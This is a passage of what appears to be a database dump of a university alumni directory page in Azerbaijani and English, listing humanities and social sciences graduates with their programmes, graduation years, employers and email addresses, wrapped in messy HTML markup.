margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Ülkər Həsənova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Tərcümə&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Ülvin Səfərov</strong>&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Jurnalistika&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong></strong></p><h3 id=\"V\">V</h3><p><strong>Vusalə Xəlilova</strong>  <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Vusale_22@mail.ru\">Vusale_22[at]mail.ru</a> &nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Vüsal Əliquliyev</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:vusal.alquliyev@mail.ru\">vusal.alquliyev[at]mail.ru</a></p>\r\n<p>“Humel” psixoloji kilinika, psixoloq</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Vusalə Yusifli </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:vusale.yusifli.95@mail.ru\">vusale.yusifli.95[at]mail.ru</a> &nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Vəfa Həşimova</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Ümumi psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:hesimli2016@yandex.com\">hesimli2016[at]yandex.com</a></p>\r\n<p>Poliklinikada həkim</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Vəzdifə Kərimzadə&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Politalogiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Vüsalə</strong>&nbsp;İsayeva&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Tərcüməçilik</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vahid Hüseynov&nbsp;</strong>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Humanitar və sosial elmlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Tərcümə, Bakalavr (ingilis-ərəb)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Sahə mütəxəssisi, Sahdəniz 2 </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<strong><a href=\"mailto:vahid.huseynov@gmail.com\">vahid.huseynov@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr&nbsp;&nbsp;2013 &nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><h3 id=\"Y\"><strong>Y</strong></h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Yeganə Bağırova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Ümumi Dilçilik&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Magistr&nbsp; 2011&nbsp;(Fərqlənmə&nbsp;)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Yılmaz Qaraxanlı</strong>&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Tərcümə&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Yeganə Ağayeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İngilis dili/Lingvistika</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">BDU|Ingilis dili müəlliməsi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:agayevayegane@yahoo.com\">agayevayegane@yahoo.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Magistr</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><h3 id=\"Z\"><strong>Z</strong></h3><br><p><strong>Ziya Qasımlı</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Beynəlxalq Münasibətlər, 2017</p>\r\n<p>E-mail: <a href=\"mailto:zy.gasimli@gmail.com\">zy.gasimli[at]gmail.com</a></p>\r\n<p>Hərbi xidmətdə</p>\r\n<p><strong><br></strong></p><p><strong>Züleyxa Əsədova </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:zulka94@mail.ru\">zulka94[at]mail.ru</a> &nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Zeynəb Tağıyeva</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:zeyneb.zz21@gmail.com\">zeyneb.zz21[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Zeynəb Bayramova</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>İngilis dili və ədəbiyyatı, 2017</p>\r\n<p>&nbsp;“Xəzri” Təhsil mərkəzi, ingilis dili müəllimi</p>\r\n<p>Təhsil:\r\nASU, Linqvistika \\MA</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Zakir Əlibəyli&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Jurnalistika&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Zahid Hüseynov&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Regionşünaslıq&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011</p>'),(2533,1527,'en','School of Humanities and Social Sciences','School of Humanities and Social Sciences','<p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><a href=\"#A\">A </a>&nbsp;<a href=\"#B\">B</a>&nbsp;<a href=\"#D\">D</a> <a href=\"#E\">E</a>&nbsp;<a href=\"#F\">F</a> <a href=\"#G\">G</a> <a href=\"#H\">H</a>&nbsp;<a href=\"#İ\">İ</a> <a href=\"#J\">J</a>&nbsp;<a href=\"#K\">K</a>&nbsp;<a href=\"#L\">L</a> <a href=\"#M\">M</a> <a href=\"#N\">N</a> <a href=\"#O\">O</a> <a href=\"#P\">P</a> <a href=\"#R\">R</a> <a href=\"#S\">S</a>&nbsp;<a href=\"#T\">T</a> <a href=\"#U\">U</a> <a href=\"#V\">V</a> <a href=\"#Y\">Y</a> <a href=\"#Z\">Z</a></strong></p><h3 id=\"A\"><strong><br></strong></h3><h3 id=\"A\"><strong>A</strong></h3><p><strong><br></strong></p><p><strong>Akif Mammadov</strong>  <br></p><p>School of Humanities and Social Sciences  </p><p>English translator (2005-2009)</p><p>MEGABIZ PETROCHEMICAL PRODUCTS OF INDUSTRY AND TRADE INCORPORATED GROUP OF COMPANIES</p><p>Marketing and Sales Director</p><p>E- mail:&nbsp;<a href=\"http://mailto:akif.memmedov.87@mail.ru/\">akif.memmedov.87@mail.ru</a></p>  <p><strong><br></strong></p><p><strong>Aynur Abdullayeva</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Area Studies, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Aynurka48@gmail.com\">Aynurka48[at]gmail.com</a></p>\r\n<p>“Sulh travel” tour packages and\r\nvisa</p>\r\n<p><strong><br></strong></p><p><strong>Aykhan Huseynov </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Area Studies, 2017</p>\r\n<p>E-mail: <a href=\"mailto:huseynov.aykhan@gmail.com\">huseynov.aykhan[at]gmail.com</a></p>\r\n<p>Express Bank</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Abdullah Javadov </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>International Relations, 2017</p>\r\n<p>E-mail: <a href=\"mailto:abdullah.javadov@khazar.org\">abdullah.javadov[at]khazar.org</a></p>\r\n<p>Retail Group Azerbaijan, Inditex branch, Zara, Store\r\nManager</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Asaf Sayadli </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Politology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Sayadov.asef@mail.ru\">Sayadov.asef[at]mail.ru</a> &nbsp;</p>\r\n<p>In a military service</p>\r\n<p><strong><br></strong></p><p><strong>Alida Suleymanova </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:elide.suleymanova@list.ru\">elide.suleymanova[at]list.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Aytaj Alili</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>&nbsp;Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:aliaytac95@mail.ru\">aliaytac95[at]mail.ru</a> &nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Akbar Maharramov</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:maharramovakbar004@gmail.com\">maharramovakbar004[at]gmail.com</a></p>\r\n<p>Warsaw, University of Finance and\r\nmanagement</p>\r\n<p><strong><br></strong></p><p><strong>Amina Hajiyeva </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:aminaa.hajiyeva@gmail.com\">aminaa.hajiyeva[at]gmail.com</a></p>\r\n<p>Azerbaijan Railway Company, Estate\r\nManagement and Advertising Department</p>\r\n<p><strong><br></strong></p><p><strong>Aygun Musazade </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gumus1905@mail.ru\">gumus1905[at]mail.ru</a> &nbsp;</p>\r\n<p><br></p><p><strong>Arzu Aliyeva </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:arzualiyevaa@gmail.com\">arzualiyevaa[at]gmail.com</a></p>\r\n<p>&nbsp;Istanbul\r\nBilgi University,&nbsp;Marketing\\MA&nbsp;</p><p><br></p><p><strong>Aliya Rahimova </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Psychology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:aliyarahimova96@gmail.com\">aliyarahimova96[at]gmail.com</a></p>\r\n<p>“Loqos”\r\npsychology.center,\r\nchild psyhologist</p>\r\n<p><strong><br></strong></p><p><strong>Adila Bahramli </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>English Language and Literature, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Behramli_96@mail.ru\">Behramli_96[at]mail.ru</a></p>\r\n<p>“Odlar Yurdu” University English\r\nmethods</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Aida Abdullazade </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>English Language and Literature, 2017</p>\r\n<p>E-mail: <a href=\"mailto:aidaabdullazade@gmail.com\">aidaabdullazade[at]gmail.com</a> &nbsp;</p>\r\n<p>“Dunya school”, class supervisor</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Afsana Aghazade </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>English Language and Literature, 2017</p>\r\n<p>E-mail: <a href=\"mailto:a.aghazada@list.ru\">a.aghazada[at]list.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Aynur Alasgarova </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>General Psychology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:aynuralasgarovaaze@gmail.com\">aynuralasgarovaaze[at]gmail.com</a></p><p><br></p>\r\n<p><strong>Aysel Khanmammadova </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>General Psychology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:aysel.xanmemmedova@mail.ru\">aysel.xanmemmedova[at]mail.ru</a></p>\r\n<p>“Medina” Psychological Medical Clinics, &nbsp;psychologist</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aydan Javadova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies/English language</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:aydan.cavadova@yahoo.com\">aydan.cavadova@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aytaj Shafiyeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">“Uğur” Development Centre</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p>  <hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aydan Sabirli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master in Turkey (Uskudar University)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:aydask@mail.ru\">aydask@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aysel İsgandarli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:aysel.isgenderli@gmail.com\">aysel.isgenderli@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Afag Okafor</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İnternational law</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:afag_okafor@yahoo.com\">afag_okafor@yahoo.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:afag_okafor@yahoo.com\"></a>2013</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Alina Pankratova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translator</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Alina.pankratova@inbox.ru\">Alina.pankratova@inbox.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aytaj Muradova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English language and literature</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Ayka.memmedzade.93@mail.ru\">Ayka.memmedzade.93@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aynur Garayeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Journalist</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">\"Anadoli pazarlama\"</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:aqarayeva@yahoo.com\">aqarayeva@yahoo.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:aqarayeva@yahoo.com\"></a>2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Alim Abdullayev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:alim.abdullayev@gmail.com\">alim.abdullayev@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:alim.abdullayev@gmail.com\"></a>2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aykhan&nbsp;Shikhaliyev&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Ministry of Labor and Social Protection</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:sixaliyevayxan@gmail.com\">sixaliyevayxan@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:sixaliyevayxan@gmail.com\"></a>2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Anar&nbsp;Mammadov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Nivelsoft Company</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:anar.Mammadov3@gmail.com\">anar.Mammadov3@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2013</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Anar&nbsp;Hummatov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">“Universal” Company Sales Manager</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:agummetov@gmail.com\">agummetov@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2013</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Arzu Rzayeva&nbsp;</strong>&nbsp;</p><p style=\"\" 